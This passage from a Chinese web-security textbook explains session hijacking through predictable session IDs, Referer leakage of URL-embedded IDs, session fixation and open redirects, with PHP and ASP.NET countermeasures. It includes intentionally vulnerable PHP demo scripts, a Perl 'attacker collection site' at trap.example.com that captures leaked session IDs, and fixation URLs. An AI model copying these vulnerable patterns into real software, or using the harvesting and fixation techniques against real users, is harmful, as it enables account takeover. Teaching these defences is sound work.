ID，除此之外，基于日期时间或用户名生成的会话 ID 也不安全。开源软件等生成会话 ID 的逻辑对外公开的情况下，外界就能根据代码中的逻辑推测出会话 ID，而源代码或逻辑不公开的情况下外界也有可能稍费时日从而破解出会话 ID 的生成方法。\n窃取会话 ID\n如果会话 ID 被外界窃取，就有可能造成会话劫持。窃取会话 ID 的方法有如下几种。\n生成 Cookie 时的属性设置不妥善而遭泄漏（参考第 3 章）\n会话 ID 在网络上被监听（参考 7.3 节）\n由于跨站脚本等应用中的安全隐患而遭泄漏（后述）\n由于 PHP 或浏览器等平台的安全隐患而遭泄漏\n会话 ID 保存在 URL 中时经由 Referer 消息头泄漏（参考 4.6.3 节）\n应用中能被用于窃取会话 ID 的代表性安全隐患有以下几种。\n跨站脚本（XSS）（参考 4.3.1 节）\nHTTP 消息头注入（参考 4.7.2 节）\n嵌入在 URL 中的会话 ID（参考 4.6.3 节）\n关于各隐患的详情请参考各个章节。\n挟持会话 ID\n除了窃取会话 ID 这种方式外，如果能将会话 ID 强制设置到用户的浏览器中，攻击者也就相当于“得知”了用户的会话 ID，因此也就能够形成会话劫持。这种攻击被称为“会话固定攻击”（Session Fixation Attack）。会话固定攻击在第 3 章已经做过概述，其防范策略等详情将于 4.6.4 节讲述。\n会话劫持的方法总结\n接下来，我们将以上介绍的会话劫持的方法加以归纳，如下表所示。\n表 4-13 会话劫持总结\n分类\n攻击对象\n攻击方法\n安全隐患\n解说\n预测会话 ID\n应用程序\n预测会话 ID\n自制会话管理机制中的安全隐患\n4.6.2 节\n中间件\n推测会话 ID\n中间件的安全隐患\n7.1 节\n窃取会话 ID\n应用程序\nXSS\nXSS 漏洞\n4.4.1 节\nHTTP 消息头注入\nHTTP 消息头注入漏洞\n4.7.2 节\n恶意利用 Referer\n嵌入在 URL 中的会话 ID\n4.6.3 节\n中间件\n同应用程序\n中间件的安全隐患\n7.1 节\n网络\n网络监听\nCookie 的安全属性不完善等\n4.8.2 节\n挟持会话 ID\n应用程序\n会话固定攻击\n会话 ID 固定漏洞\n4.6.4 节\n由上表可知，造成会话劫持的安全隐患多种多样，因此，应对会话劫持就需要将这些安全隐患各个击破。而本节所要讲述的就是生成会话 ID 时产生的如下安全隐患。\n会话 ID 可预测\n会话 ID 嵌入 URL\n固定会话 ID\n其他安全隐患请参考表中“解说”所示页的内容。\n会话劫持的影响\n用户被会话劫持后，他人就能伪装成该用户，进而造成如下影响。\n查看用户的重要信息（个人信息、邮件等）\n利用用户的权限进行操作（转账、购物等）\n使用用户的账号发送邮件、发布文章、更改设置等\n4.6.2 会话 ID 可预测\n概要\n如果 Web 应用中会话 ID 的生成规则不完善，用户的会话 ID 就有可能被他人成功预测，从而造成会话劫持。\n会话 ID 被他人预测成功所造成的影响，同前面讲述的会话劫持的影响一样。\n为了避免生成可预测的会话 ID 而引入安全隐患，应当停止自己实现会话管理机制，而使用久经考验的编程语言或中间件（PHP、Java/J2EE、ASP.NET 等）提供的会话管理机制。\n会话 ID 可预测漏洞总览\n攻击手段与影响\n首先我们来看一下针对会话 ID 可预测漏洞的典型的攻击模式及其影响。\n针对会话 ID 可预测漏洞的攻击有以下三个步骤。\n1. 收集对象应用的会话 ID\n2. 推测会话 ID 的生成规则\n3. 在对象应用中试验推测出的会话 ID\n常见的会话 ID 生成方法\n为了预测会话 ID 的生成规则，首先就需要对常见的会话 ID 生成规则有所了解。由于本书并非攻击指导书，因此不会详细说明推测会话 ID 的方法。但就笔者多年来诊断安全隐患的经验来说，会话 ID 的生成大多都是基于以下项目。\n用户 ID 或邮箱地址\n远程 IP 地址\n日期与时间（UNIX 时间戳或年月日时分秒的字符串）\n随机数\n生成会话 ID 时，有时会原封不动地使用上述值，有时也会选取几种组合使用，然后再进行加密（十六进制或 Base64）或者散列函数处理。图 4-51 即展示了常见的会话 ID 的生成方法。\n图 4-51 常见的会话 ID 生成方法\n其中，用户 ID 和日期时间是外界能够得知的数据，而这也就是造成安全隐患的根源。\n针对会话 ID 可预测漏洞展开攻击时，攻击者会基于已知信息推导会话 ID 的生成规则，将收集到的会话 ID 按照图 4-51 的模型逐个进行验证。\n使用推测出的会话 ID 尝试伪装\n攻击者推测出会话 ID 之后，就会在对象应用中试用。如果攻击取得成功，会话就会处于有效的状态，因此攻击者能立刻得到攻击是否成功的反馈。\n伪装造成的影响\n攻击者成功伪装成用户后，就能够以用户的权限使用对象应用中的所有功能，如查看重要信息、发布 / 更新 / 删除数据或文章、购物、转账等。\n但是，那些浏览前需要再次输入密码的页面，即使伪装成功后也无法访问。因为会话劫持的攻击者并不知道用户的密码。因此，关键处理前要求用户再次输入密码（再认证），是防范会话劫持的辅助性对策。\n另一方面，如果更改密码时不需要输入当前密码，攻击者就能够通过更改密码而掌握用户的密码，这时攻击将造成更大的危害。\n安全隐患的产生原因\n正如前面所说，产生会话 ID 可预测漏洞的技术性原因，主要在于会话 ID 是基于可预测的信息生成的。而更深层的原因，则可以说是源于在应用中自制会话管理机制。通常情况下，在 Web 应用开发中，特意去开发生成会话 ID 的程序毫无意义。原因如下。\n主流的 Web 应用开发工具中提供有会话管理机制\n开发能够生成安全的会话 ID 的程序有很高的技术要求\n而且，即使主流的 Web 应用开发工具中生成会话 ID 的部分存在漏洞，也肯定会有安全性方面的专家指出而使其得到完善。因此，如果是普通用途的 Web 应用，都应当使用开发工具中提供的会话管理机制。\n对策\n防范会话 ID 可预测漏洞最现实以及最有效的对策，就是使用 Web 应用开发工具中提供的会话管理机制。\n由于某些特殊原因而不得不自制会话管理机制时，建议使用密码学级别的伪随机数生成器 33\n 来生成足够多位数的会话 ID。\n33\n 指理论上能够保证在足够长的时间内无法被预测的随机数。\n改善 PHP 的会话 ID 的随机性的方法\nPHP 中默认生成会话 ID 的方法为将下列值组合后再经过 MD5 散列函数处理。\n远程 IP 地址\n当前时间\n随机数（不是密码学级别的伪随机数）\n这也符合图 4-51 中常见的会话 ID 的生成方法。由于其生成会话 ID 的算法相当复杂，目前还没有该会话 ID 的破解方法，但是这样的设计在理论上并不能保证安全性。\n但我们可以编辑 php.ini 文件来改善会话 ID 的生成规则，使其生成基于安全的随机数的会话 ID。这里我们将 php.ini 设置如下。\n[Session]\n;; Windows 中不需要设置 entropy_file\nsession.entropy_file = /dev/urandom\nsession.entropy_length = 32\n/dev/urandom 是 Linux 等多数基于 Unix 的操作系统中提供的随机数生成器，可作为设备文件使用。Linux 中的 /dev/urandom 经受了全世界专家的检验，并没有曝出重大问题，因此可以安心使用 34\n 。\nWindows 中没有类似于 /dev/urandom 的功能，但在 PHP5.3.3 以后的版本中，通过将 session.entropy_length 设为 0 以外的值，就能基于 Windows Random API 生成的值来生成会话 ID。\n由于此设置不会产生副作用，因此建议读者们在开发时将上述设置作为开发标准。\n34\n /dev/urandom 的实现方法因 OS 而异，在 Linux 以外的操作系统中使用 /dev/urandom 时，请事先调查确认有无安全隐患的相关记录。\n参考：自制会话管理机制产生的其他隐患\n自制会话管理机制时，除了会话 ID 可预测漏洞外，还需警惕其他安全隐患。就笔者多年来诊断安全隐患的经验来看，以下安全隐患需要注意。\nSQL 注入漏洞\n目录遍历漏洞\n具体来说，PHP 官方文档中会话管理机制的自定义 API 的示例脚本中就存在目录遍历漏洞 35\n 。同样，由于自定义 PHP 的会话管理机制而混入 SQL 注入漏洞的案例也时有发生。\n35\n 详情见笔者的博客：http://www.tokumaru.org/d/20080818.html#p01\n 。写作本书时已经确认在 PHP 的最新版本 5.3.5 中也存在此问题。\n正因为存在这些案例，因此，在自制或自定义会话管理机制时，务必要进行慎重的设计和仔细的检查。除非迫不得已，还是推荐直接使用既有的会话管理机制。\n4.6.3 会话 ID 嵌入 URL\n概要\n会话 ID 有时并不保存在 Cookie 中，而是被保存于 URL。PHP、Java 和 ASP.NET 等都提供了将会话 ID 嵌入 URL 的功能。由于一些手机的浏览器不支持 Cookie，因此手机版 Web 应用也广泛采用将会话 ID 嵌入 URL 的做法。而面向 PC 的网站偶尔也能看到 URL 中包含会话 ID。以下就是会话 ID 嵌入 URL 的示例。\nhttp://example.jp/mail/123?SESSID=2F3BE9A31F093C\n会话 ID 嵌入 URL 有可能会导致会话 ID 经由 Referer 消息头外泄，从而造成伪装攻击。\n而为了防范会话 ID 嵌入 URL 而导致伪装攻击，可以在程序中设置禁止将会话 ID 嵌入 URL。手机版的 Web 应用等有时不得不将会话 ID 嵌入 URL，此情况下的对策请参考 7.4 节。\n会话 ID 嵌入 URL 所导致的安全隐患总览\n攻击手段与影响\n下面我们就来看一下使 URL 中的会话 ID 通过 Referer 外泄的方法，以及会话 ID 外泄后造成的影响。\n首先来看 PHP 的情况下是如何使会话 ID 嵌入到 URL 中的。\n会话 ID 嵌入 URL 所需的条件\n前面已经提到过，PHP 可以通过设置将会话 ID 嵌入到 URL 中。设置项目如表 4-14 所示。\n表 4-14 php.ini 的会话 ID 设置项目\n项目\n解说\n默认值\nsession.use_cookies\n使用 Cookie 保存会话 ID\n有效（On）\nsession.use_only_cookies\n仅将会话 ID 保存于 Cookie\n有效（On）\nsession.use_trans_sid\n自动将会话 ID 嵌入 URL\n无效（Off）\n将上述设置进行组合后，会话 ID 的保存位置就可以被归纳为下表。\n表 4-15 use_cookies 与 use_only_cookies 的组合\n会话 ID 的保存位置\nuse_cookies\nuse_only_cookies\n会话 ID 仅保存在 Cookie 中\nOn\nOn\n可以使用 Cookie 时保存在 Cookie 中，不能使用 Cookie 时嵌入 URL\nOn\nOff\n无意义的组合\nOff\nOn\n始终将会话 ID 嵌入 URL\nOff\nOff\n其中，session.use_trans_sid 选项设为 On 时会话 ID 会被自动嵌入 URL，而设为 Off 的话则仅当应用中显示将会话 ID 嵌入 URL 时，会话 ID 才会被嵌入 URL。\n范例脚本解说\n以下为将会话 ID 设置为嵌入 URL（不使用 Cookie）的范例脚本。为了不影响应用的全局设置，这里我们在 .htaccess 文件内做如下设置。\n代码清单 /462/.htaccess\nphp_flag session.use_cookies Off\nphp_flag session.use_only_cookies Off\nphp_flag session.use_trans_sid On\n示例脚本包含了 3 个 PHP 文件。\n起始页面\n包含外部链接的页面\n外部页面（假定为攻击者用来收集信息的网站）\n各自的脚本代码如下所示。\n代码清单 /462/46-001.php\n <?php\n session_start();\n ?>\n <body> <a href=\"46-002.php\">Next</a> </body>\n代码清单 /462/46-002.php\n <?php\n session_start();\n ?>\n <body>\n <a href=\"http://trap.example.com/46/46-900.cgi\"> 跳转到外部网站的连接 </a>\n </body>\n代码清单 /462/46-900.cgi【攻击者用来收集信息的网站】\n #!/usr/bin/perl\n use utf8;\n use strict;\n use CGI qw/-no_xhtml :standard/;\n use Encode qw/encode/;\n my $e_referer = escapeHTML(referer());\n print encode('UTF-8', <<END_OF_HTML);\n Content-Type: text/html; charset=UTF-8\n <body>\n 这是收集会话 ID 的网站。Referer 信息如下 <br>\n $e_referer\n </body>\n END_OF_HTML\n图 4-52 展示了页面的跳转过程。点击链接后跳转到外部网站时，URL 中的会话 ID 遭到了泄漏。\n图 4-52 示例页面跳转\n通过 Referer 泄漏会话 ID 所需的条件\n网站满足以下两个条件时就有可能通过 Referer 泄漏会话 ID。\n能够使用被嵌入 URL 的会话 ID\n存在跳转至外部网站的链接。或用户能够自己发布链接\n攻击流程\nReferer 造成的会话 ID 泄漏可分为偶发事故和有意针对安全隐患实施的攻击这两种情况。其中，后者仅存在于应用的用户能够自己发布链接的网站。比如 Web 邮箱、论坛、博客、社交网站等。\n接下来我们就以从 Web 邮箱实施攻击为例进行说明。攻击者发送带有链接的邮件给攻击目标应用的用户。邮件中通过“请看我的个人主页”或者“史上最大让利折扣”等语句引诱用户点击链接跳转至攻击者的网站。\n图 4-53 从 Web 邮箱发动攻击\n由于多数 Web 邮箱都会将 URL 格式的字符串转换为链接形式，因此，用户一旦点击链接进入攻击者的网站，Web 邮箱的 URL 中嵌入的会话 ID 就会通过 Referer 泄漏到攻击者网站。攻击者利用得到的 Referer 信息，就能够伪装成该用户。\n2000 年 12 月，独立行政法人产业技术综合研究所的高木浩光等人组成的小组发表了题为“不用 Cookie 而在 URL 中嵌入 ID 的会话管理方式的安全隐患（1）——通过取得 REFERER 信息劫持免费邮箱网站的问题”的文章 36\n 。文中列举了在当时的 7 个 Web 邮箱服务中，将会话 ID 嵌入 URL 后会话 ID 通过 Referer 泄漏的状况、原理以及解决方法。虽然距离文章发表已经过去了十几年，但此问题还是没有得到足够的重视。\n事故性的会话 ID 泄漏\n如果网站不允许用户自己发布链接，攻击者就很难将用户诱导至自己的网站，然而，即使在这种情况下，只要网站中存在指向外部网站的链接，就仍然有可能将会话 ID 泄漏至这些外部网站。万一外部网站的管理员心怀不轨，就能够从 Referer 的日志中获取会话 ID 来伪装用户。\n此外，也有因用户自己将带有会话 ID 的 URL 发布到论坛等地方，使该 URL 被搜索引擎收录而造成信息泄漏的事件。\n影响\n嵌入 URL 的会话 ID 经由 Referer 泄漏的影响，同前述的会话劫持的影响一样。\n36\n 原文标题为：Cookie を使用せず URL に埋め込む ID に頼ったセッション管理方式の脆弱性 (1)——REFERER 情報取得による脆弱フリーメールサイトの乗っ取り問題——。原始的文章页面已被删除，现在可以从已归档的页面中浏览该文章。http://web.archive.org/web/20030828174518/http://securit.gtrc.aist.go.jp/SecurIT/advisory/webmail-1/\n安全隐患的产生原因\n会话 ID 嵌入 URL 的直接原因为设置不完善或者程序中存在问题。\n将会话 ID 嵌入 URL 分为有意和无意两种情况。而之所以特意将会话 ID 嵌入 URL，可能是因为以下两点原因。\n2000 年前后由于隐私方面的问题而兴起了“Cookie 有害论”，造成了部分网站停止使用 Cookie。\nNTT Docomo 的手机浏览器迟迟不支持 Cookie37\n ，因此，在面向手机的应用中，将会话 ID 嵌入 URL 至今还是主流方法。\n37\n 2009 年夏季以后的机型终于支持 Cookie 了。\n由于第三方 Cookie38\n 能够追踪用户的访问历史而造成隐私方面的问题，因此便产生了“Cookie 有害论”。但是那次事件以后，浏览器普遍都默认禁用了第三方 Cookie，所以也就没有理由连第一方 Cookie 也都禁用了。而且通常情况下将会话 ID 保存至 Cookie 中是最安全的方法，因此，如果由于厌恶 Cookie 而将会话 ID 嵌入到 URL 中，反而会使个人信息泄漏等事件更易于发生。\n38\n 第三方 Cookie 不是由正在浏览的网站发行的 Cookie，而是指由横幅广告商或其他网站发行的 Cookie。\n而手机方面，由于截至写作此书时大部分手机浏览器还不支持 Cookie，因此完全杜绝向 URL 中嵌入会话 ID 是非常艰难的。该问题将在第 7 章中详细讲述。\n对策\n为了不使用嵌入在 URL 中的会话 ID，就需要通过设置将会话 ID 保存在 Cookie 中。下面就来看一下各编程语言中将会话 ID 保存至 Cookie 的设置或编程方法。\nPHP\nPHP 中进行如下设置后，就能将会话 ID 仅保存在 Cookie 中。\n[Session]\nsession.use_cookies = 1\nsession.use_only_cookies = 1\nJava Servlet（J2EE）\nJ2EE 中将会话 ID 嵌入 URL（J2EE 中称为 URL 重写）需要调用 HttpServletResponse\n 接口的 encodeURL\n 方法或 encodeRedirectURL\n 方法来重写 URL，因此，只要保证程序中没有调用的相关方法，会话 ID 就不会被嵌入到 URL。\nASP.NET\nASP.NET 中默认将会话 ID 保存至 Cookie 中，但通过设置 web.config 也能采用将会话 ID 嵌入 URL 的方式。新生成 web.config 时可以不做任何操作，但如果要更改既有网站的设置，就需要进行以下设置将会话 ID 保存至 Cookie。\n<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<configuration>\n <system.web>\n <sessionState cookieless=\"false\n\" />\n </system.web>\n</configuration>\n4.6.4 固定会话 ID\n概要\n会话劫持的另一种攻击手段为从外部挟持会话 ID，这被称为会话固定攻击（Session Fixation Attack）。\n会话固定攻击的流程如下。\n1. 取得会话 ID\n2. 强行将步骤 1 中的会话 ID 交给被害人\n3. 被害人登录攻击目标 Web 应用\n4. 攻击者使用该会话 ID 成功进入目标应用\n会话固定攻击造成的影响同窃取会话 ID 一样，即通过伪装用户导致信息泄漏，以及使用被害人的权限恶意使用应用中的功能，如发布、更改或删除数据等。\n应对会话固定攻击时，由于想要彻底杜绝上述的步骤 2 非常困难，因此普遍采用在用户登录时更换其会话 ID 的方法，这样就可以使攻击者无从得知用户登录后的会话 ID。\n固定会话 ID 所导致的安全隐患总览\n攻击手段与影响\n接下来我们将通过示例脚本来解说会话固定攻击的方法与影响。\n示例脚本介绍\n为了方便会话固定攻击的实施，该示例脚本通过设置 .htaccess 使会话 ID 同时保存在了 Cookie 和 URL 中。具体设置如下。\n代码清单 /463/.htaccess\nphp_flag session.use_cookies On\nphp_flag session.use_only_cookies Off\nphp_flag session.use_trans_sid On\n示例脚本为精简后的认证页面和个人信息显示页面。页面构成如下。\n用户名输入页面\n认证页面（演示中不确认密码）\n个人信息显示页面（显示用户名）\n脚本的代码如下。\n代码清单 /463/46-010.php\n <?php\n session_start();\n ?>\n <body>\n <form action=\"46-011.php\" method=\"POST\">\n 用户名 :<input name=\"id\" type=\"text\"><br>\n <input type=\"submit\" value=\" 登录 \">\n </form>\n </body>\n代码清单 /463/46-011.php\n <?php\n session_start();\n $id = $_POST['id']; // 任何 ID 都能登录成功\n $_SESSION['id'] = $id; // 将用户名保存至会话中\n ?>\n <body>\n <?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?> 登录成功 <br>\n <a href=\"46-012.php\"> 个人信息 </a>\n </body>\n代码清单 /463/46-012.php\n <?php\n session_start();\n ?>\n <body>\n 当前用户名 :<?php echo htmlspecialchars($_SESSION['id'],\n ENT_COMPAT, 'UTF-8'); ?><br>\n </body>\n该示例脚本在正常情况下的页面跳转如下所示。\n图 4-54 示例页面跳转\n会话固定攻击解说\n下面我们来尝试攻击该示例脚本。攻击者使用如下 URL 将应用的用户诱导至登录页面。进行此操作前需要先清空 Cookie，因此请重启浏览器。\nhttp://example.jp/463/46-010.php?PHPSESSID=ABC\n下图为用户无意中点击恶意链接后跳转至的登录页面，可以看出用户在页面上输入了用户名（此处为 tanaka）。然后用户点击登录按钮后，认证就将在会话 ID 被固定的状态下进行。\n图 4-55 在通过恶意 URL 跳转至的登录页面进行登录\n这时，PHPSESSIS=ABC 的会话 ID 生效，用户信息就将被存储在此会话中。攻击者在受害用户进行登录时即可伺机使用如下 URL 访问被害人的个人信息。\nhttp://example.jp/463/46-012.php?PHPSESSID=ABC\n攻击者查看被害人的个人信息时的情形如下图所示。为了区别于被害人的页面，这里使用了 Google Chrome 浏览器。\n图 4-56 成功查看了被害人的个人信息\n由此可见，攻击者能够成功看到被害人的个人信息。\n登录前的会话固定攻击\n前面我们介绍了针对登录后的页面的会话固定攻击，而如果登录前的页面中使用了会话变量，就同样也会遭受会话固定攻击。这被称为登录前的会话固定攻击。下面我们就通过示例脚本来进行讲解。\n示例脚本代码如下。代码中包括个人信息输入、个人信息确认、个人信息注册（演示中不执行注册处理）3 个页面。输入的字符串被保存至会话变量，点击确认画面上的“返回”链接时，用户就能看到刚才在文本框中输入的内容。\n代码清单 /463/46-020.php\n<?php\n session_start();\n $name = @$_SESSION['name'];\n $mail = @$_SESSION['mail'];\n?>\n<html>\n<head><title> 输入个人信息 </title></head>\n<body>\n<form action=\"46-021.php\" method=\"POST\">\n姓名 :<input name=\"name\" value=\"<?php echo htmlspecialchars($name, ENT_COMPAT, 'UTF-8'); ?>\"><br>\n邮箱地址 :<input name=\"mail\" value=\"<?php echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>\"><br>\n<input type=\"submit\" value=\" 确认 \">\n</form>\n</body>\n</html>\n代码清单 /463/46-021.php\n<?php\n session_start();\n $name = $_SESSION['name'] = $_POST['name'];\n $mail = $_SESSION['mail'] = $_POST['mail'];\n?>\n<head><title> 确认个人信息 </title></head>\n<body>\n<form action=\"46-022.php\" method=\"POST\">\n姓名 :<?php echo htmlspecialchars($name, ENT_COMPAT, 'UTF-8'); ?><br>\n邮箱地址 :<?php echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?><br>\n<input type=\"submit\" value=\" 注册 \"><br>\n<a href=\"46-020.php\"> 返回 </a>\n</form>\n</body>\n</html>\n代码清单 /463/46-022.php\n<?php\n session_start();\n $name = $_SESSION['name'];\n $mail = $_SESSION['mail'];\n?>\n<head><title> 注册个人信息 </title></head>\n<body>\n已注册 <br>\n姓名 :<?php echo htmlspecialchars($name, ENT_COMPAT, 'UTF-8'); ?><br>\n邮箱地址 :<?php echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?><br>\n</body>\n</html>\n正常情况下的页面跳转如下。\n图 4-57 页面跳转\n接下来我们就尝试对此应用实施攻击。诱导用户使用以下 URL 访问应用并使其输入个人信息。\nhttp://example.jp/463/46-020.php?PHPSESSID=ABC\n受害用户输入自己的个人信息，如下图所示。\n图 4-58 受害用户输入个人信息\n而在另一边，攻击者会定期监视刚才的 URL 页面。当用户输入个人信息后，如下图所示，攻击者的浏览器中也能显示用户的个人信息。\n图 4-59 受害用户的个人信息显示在攻击者的浏览器中\n由此可见，不需要认证的网页如果使用了会话变量，也可能会遭受会话固定攻击。\n但是，由于此情况下攻击者无法伪装成登录后的用户，也无法使用用户的权限进行恶意操作，因此攻击造成的影响就仅限于用户输入的信息被泄漏。\n会话采纳\n前面所介绍的攻击流程中使用了 PHPSESSID=ABC 这个会话 ID。我们发现，虽然 ABC 是攻击者任意生成的，但是也能够使攻击得到成功。这是因为能够接受来源不明的会话 ID 是 PHP 的特性之一。而此特性就被称为会话采纳（Session Adoption）。除了 PHP，ASP.NET 中也存在会话采纳的特征。而 PHP 和 ASP.NET 以外的中间件，如 Tomcat 等则不存在会话采纳，这种情况下，随意生成的会话 ID 就会被忽略。\n在对不存在会话采纳的中间件上运行的应用程序发动攻击时，攻击者会先浏览攻击目标应用，取得有效的会话 ID，然后再利用此会话 ID 布置恶意网站。\n由此可见，开发工具中若存在会话采纳就能减少会话固定攻击的步骤，然而，即便不存在会话采纳问题，会话固定攻击也不可能被完全杜绝。\n仅在 Cookie 中保存会话 ID 的网站固定会话 ID\n之前介绍的攻击示例中，我们使用的都是能够将会话 ID 保存在 URL 中的应用程序。这是因为会话 ID 保存在 URL 的情况下攻击起来比较容易。然而，仅将会话 ID 保存在 Cookie 时，会话 ID 还是有可能会被固定化。\n通常情况下，从外部设置 Cookie 的会话 ID 是行不通的，但是，如果浏览器或 Web 应用中存在安全隐患就另当别论了。比如，以下安全隐患就有可能造成 Cookie 被第三方设置。\nCookie Monster Bug（浏览器的安全隐患，参考 3.1 节）\n跨站脚本漏洞（参考 4.3 节）\nHTTP 消息头注入漏洞（参考 4.7.2）\n会话固定攻击的影响\n一旦会话固定攻击取得成功，由于中招的用户（前例中为 tanaka）已处于登录状态，攻击者就能够使用该用户的权限执行操作或浏览信息等。\n安全隐患的产生原因\n固定会话 ID 安全隐患产生的根本原因为外界能够劫持会话 ID。因此，彻底应对就需要实施以下所有步骤。\n不将会话 ID 嵌入 URL\n不使用（或不让用户使用）存在 Cookie Monster Bug39\n 的浏览器\n不使用易发生 Cookie Monster Bug 的地域型域名\n消除跨站脚本漏洞\n消除 HTTP 消息头注入漏洞\n消除其他能够导致 Cookie 被篡改的安全隐患\n39\n Cookie Monster Bug 的详情请参考 3.1 节的专栏。\n但是，想要满足以上所有条目并不简单。比如 Internet Explorer 中使用地域型域名时就存在 Cookie Monster Bug，而微软似乎并没有打算修复该问题。然而，Internet Explorer 又是使用率最高的浏览器，我们不可能强迫所有用户将其舍弃。\n因此，目前采取的普遍做法是，姑且允许会话 ID 被外界挟持，而将防范重点放在防止会话固定攻击造成会话劫持上。\n在认证成功时更改会话 ID 就是一种行之有效的方法，具体会在后面详述。\n对策\n正如前面所介绍的那样，会话 ID 被外界固定化的手段多种多样，有时还会恶意利用浏览器的 Bug（安全隐患），因此，Web 应用中防范会话固定攻击可以采取如下策略。\n认证后更改会话 ID\nPHP 中执行此处理可以使用 session_regenerate_id\n 函数。该函数的格式如下。\n格式清单 session_regenerate_id 函数\nbool session_regenerate_id([bool $delete_old_session = false])\nsession_regenerate_id\n 函数中有一个可省略的参数。但由于该参数会指定是否将变更前的会话 ID 对应的会话信息删除，所以应始终将该参数指定为 true\n 。\n下面为添加了更改会话 ID 这一处理的脚本。\n代码清单 /463/46-011a.php\n<?php\n session_start();\n $id = $_POST['id']; // 省略登录处理\n session_regenerate_id(true);\n // 更改会话 ID\n $_SESSION['id'] = $id; // 将用户名保存至会话\n?>\n<body>\n<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?> 登录成功 <br>\n<a href=\"46-012.php\"> 个人信息 </a>\n</body>\n无法更改会话 ID 时采用令牌\n有些 Web 应用的开发语言或中间件无法在程序中显式地更改会话 ID。使用此类开发工具时，可以使用令牌来防范会话固定攻击。\n具体方法为，在登录时生成一个随机数字符串（令牌），并将其同时保存至 Cookie 和会话变量中。然后在各页面进行认证确认时比较 Cookie 和会话变量中的令牌值，如果两者一致即视为已认证，不一致时即视为认证错误。\n由于只有在登录的时候令牌才能够被传到外界，攻击者无法得知令牌值，因此，使用令牌能够成功防御会话固定攻击。\n此外，鉴于令牌需要确保在足够长的时间内无法被预测，生成令牌时应当使用密码学级别的伪随机数生成器。由于 PHP 中没有提供能够调用伪随机数生成器的函数，因此，这里我们使用“改善 PHP 的会话 ID 的随机性的方法”中提到的 /dev/urandom 来进行说明。\n以下为登录后生成令牌部分的脚本。\n代码清单 /463/46-015.php\n<?php\n// /dev/urandom 通过 /dev/urandom 实现伪随机数生成器\nfunction getToken() {\n $s = file_get_contents('/dev/urandom', false, NULL, 0, 24);\n return base64_encode($s);\n}\n // 假设到这里已经成功通过认证\nsession_start();\n$token = getToken(); // 生成令牌\nsetcookie('token', $token); // 令牌 Cookie\n$_SESSION['token'] = $token;\n认证后的页面通过以下脚本确认令牌。\n代码清单 /463/46-016.php\n<?php\n session_start();\n // 确认用户名【省略】\n // 确认令牌\n $token = $_COOKIE['token'];\n if (! $token || $token != $_SESSION['token']) {\n die(' 认证错误 ');\n }\n?>\n<body> 认证成功 </body>\n虽然示例中使用的是 PHP，但由于 PHP 中提供了 session_regenerate_id\n 函数，因此并非一定要使用令牌。然而，由于令牌也能够作为 4.8.2 节讲述的“Cookie 的安全属性设置不完善”的对策来使用，因此，某些情况下该方法对 PHP 开发者来说会非常有用。详情请参考 4.8 节。\n登录前的会话固定攻击的对策\n如果登录前使用了会话变量，要完全防范会话固定攻击就非常困难。这种情况下，比较现实而有效的对策就是，登录前不使用会话管理机制，而使用 hidden 参数来传递值。\n像电子商务网站的购物车功能这种不得不在登录前使用会话变量的情况下，可以参考以下对策。但要注意的是，这些都不是根本性的对策，而只能通过组合使用来提高防御能力。\n不在登录前的会话变量内存储敏感信息\n不使用嵌入 URL 的会话 ID\n不使用地域型域名\n总结\n本节讲述了不完善的会话管理所导致的会话劫持。会话管理是安全性的要害之处，因此，若出现会话劫持的话就会造成巨大影响。\n会话管理不完善的对策如下。\n不自制会话管理机制而使用 Web 应用开发工具的内置功能\n将会话 ID 保存至 Cookie 中\n认证成功时更改会话 ID\n认证前不在会话变量中存储敏感信息\n幸运的是，本节所介绍的安全隐患防范策略的实施场所少而明确，实施成本并不高。因此，建议开发者们从设计阶段就开始有计划地落实防范策略。\n4.7 重定向相关的安全隐患\nWeb 应用中有时会重定向至外界指定的 URL。典型案例为，在登录页面的参数中指定 URL，登录成功后再重定向至该 URL。比如使用以下 URL 登录 Google 后，就会重定向到 continue= 指定的 URL（此处为 Gmail）40\n 。\n40\n 写作本书时已进行过确认，但将来可能会有所更改。\nhttps://www.google.com/accounts/ServiceLogin?continue=https://mail.google.com/mail/\n重定向处理时产生的安全隐患有如下几种，而且它们都会招致被动攻击。\n自由重定向漏洞\nHTTP 消息头注入漏洞\n接下来，本节将对以上两种安全隐患进行详细说明。\n4.7.1 自由重定向漏洞\n概要\n刚才已经提到，有些 Web 应用中提供了能够重定向到参数指定的 URL 的功能，该重定向功能就被称为重定向器（Redirector）。\n其中，能够重定向至任意域名的重定向器叫作自由重定向（Open Redirect）。自由重定向可能会导致用户在不知情的情况下被带到其他域名的网站，从而遭到钓鱼式攻击（Phishing）。\n自由重定向示例\nhttp://example.jp/?continue=http://trap.example.com/\n通过以上 URL 跳转至 http://trap.example.com/\n钓鱼式攻击的常见手段为，将用户带到伪装成著名网站的恶意网站，并诱使用户输入个人信息。\n如果用户信赖的网站存在自由重定向漏洞，用户就可能会在不知不觉中被诱导到恶意网站，却自以为还在浏览自己信赖的网站。此时，即便是戒心很重的用户也会比较轻易地输入自己的个人信息等重要内容。而自由重定向漏洞就常被用于此类狡猾的钓鱼式攻击。\n另外，如果软件或设备驱动程序的下载网站存在自由重定向漏洞，就有可能被不法分子利用来散布恶意软件（非法程序）。\n为了防范自由重定向漏洞，应该重新评估“外界能够指定重定向目标 URL”的功能是否真的不可或缺，并尽可能将重定向的目标固定。如果实在不能固定重定向的目标，就需要将重定向的目标限制在允许的域名范围内。\n自由重定向漏洞总览\n攻击手段与影响\n接下来我们就来看一下针对自由重定向漏洞的典型攻击模式及其影响。下面是具备重定向功能的密码认证的示例脚本。\n代码清单 /47/47-001.php\n<?php\n $url = @$_GET['url'];\n if (! isset($url)) {\n $url = 'http://example.jp/47/47-003.php';\n }\n?>\n<html>\n<head><title> 请登录 </title></head>\n<body>\n<form action=\"47-002.php\" method=\"POST\">\n用户名 <input type=\"text\" name=\"id\"><br>\n密码 <input type=\"password\" name=\"pwd\"><br>\n<input type=\"hidden\" name=\"url\"\nvalue=\"<?php echo htmlspecialchars($url, ENT_COMPAT, 'UTF-8') ?>\">\n<input type=\"submit\" value=\" 登录 \">\n</form>\n</body>\n</html>\n代码清单 /47/47-002.php\n<?php\n $id = isset($_POST['id']) ? $_POST['id'] : '';\n $pwd = 